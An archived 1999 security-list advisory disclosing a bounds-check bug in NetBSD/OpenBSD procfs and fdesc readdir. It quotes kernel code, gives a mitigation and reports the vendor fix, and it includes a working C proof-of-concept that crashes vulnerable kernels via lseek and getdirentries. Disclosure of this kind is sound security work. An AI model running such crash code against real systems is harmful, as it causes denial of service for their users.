The OpenNET Project
 
Search (keywords):  SOFT ARTICLES TIPS & TRICKS SECURITY
LINKS NEWS MAN DOCUMENTATION


serious problem in netbsd/openbsd procfs/fdesc


<< Previous INDEX Search src Set bookmark Go to bookmark Next >>
Date: Fri, 13 Aug 1999 05:04:11 -0600
From: cstone <cstone@POBOX.COM.>
To: [email protected]
Subject: serious problem in netbsd/openbsd procfs/fdesc

Greetings.

I have found a nasty bug in the fdesc and procfs filesystems included with
NetBSD and OpenBSD.  Any user with access to a mounted procfs/fdesc
filesystem has the ability to cause a kernel panic.

The problem is that the readdir vnodeop for both procfs and fdesc blindly uses
the value of element uio_index of the struct uio (passed in by VOP_READDIR())
as an index into an array, without first properly checking its size.
sys_getdirentries(), which calls VOP_READDIR(), sets uio_index to the open
file's f_offset, which is modified by lseek (among other things).

Here's an illustration, taken from procfs_readdir() in OpenBSD's
procfs_vnops.c:

    if (uio->uio_resid < UIO_MX)
        return (EINVAL);
    if (uio->uio_offset < 0)
        return (EINVAL);

    error = 0;
    i = uio->uio_offset;


[...]

        for (pt = &proc_targets[i];
             uio->uio_resid >= UIO_MX && i < nproc_targets; pt++, i++) {
            if (pt->pt_valid && (*pt->pt_valid)(p) == 0)
                continue;


One way for a user to take advantage of this problem is as follows:  a user
opens either a process-specific subdirectory (in the case of procfs) or the
root directory (in the case of fdesc).  The user then sets the file offset
to an unreasonably large (positive) number with lseek().  The user then calls
getdirentries().

A temporary solution is to unmount all instances of procfs and fdesc.  This
is not likely to detrimentally affect anything.

Here's example code that tries getdirentries() calls on directories after
lseek()ing to high offsets.
(warning: if your system is vulnerable, this is very likely to cause a kernel
panic)

--- cut here ---
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <dirent.h>

main(int argc, char *argv[]) {
    int dirfd;
    unsigned long basep;
    unsigned long hmm;
    char buf[2048];

    if(argc < 2) {
        fprintf(stderr, "usage: %s directory\n", argv[0]);
        exit(1);
    }

    if((dirfd = open(argv[1], O_RDONLY)) == -1) {
        perror("open");
        exit(1);
    }

    for(hmm = 0xf0000000; hmm <= 0xffffffff; hmm+=1) {
        if(lseek(dirfd, hmm, SEEK_SET) == -1) {
            perror("lseek");
            exit(1);
        }

                /* address won't effectively change, but index variable used as a test
                 * will be very large; kernel's loop should continue and break
                 * something
                 */
        if(getdirentries(dirfd, buf, 2048, &basep) == -1) {
            perror("getdirentries");
            exit(1);
        }
    }
        exit(0);
}
--- cut here ---


This problem has existed since at least as far back as OpenBSD 2.3 and NetBSD
1.3.2.

Both NetBSD and OpenBSD have been contacted about this.  This has been fixed
in the current OpenBSD tree and should soon be able from your nearest anoncvs
server.  Thanks to [email protected] for a quick response.

--
<cstone@pobox.com.>


<< Previous INDEX Search src Set bookmark Go to bookmark Next >>



Партнёры:
PostgresPro
Inferno Solutions
Hosting by Hoster.ru
Хостинг:

Закладки на сайте
Проследить за страницей
Created 1996-2024 by Maxim Chirkov
Добавить, Поддержать, Вебмастеру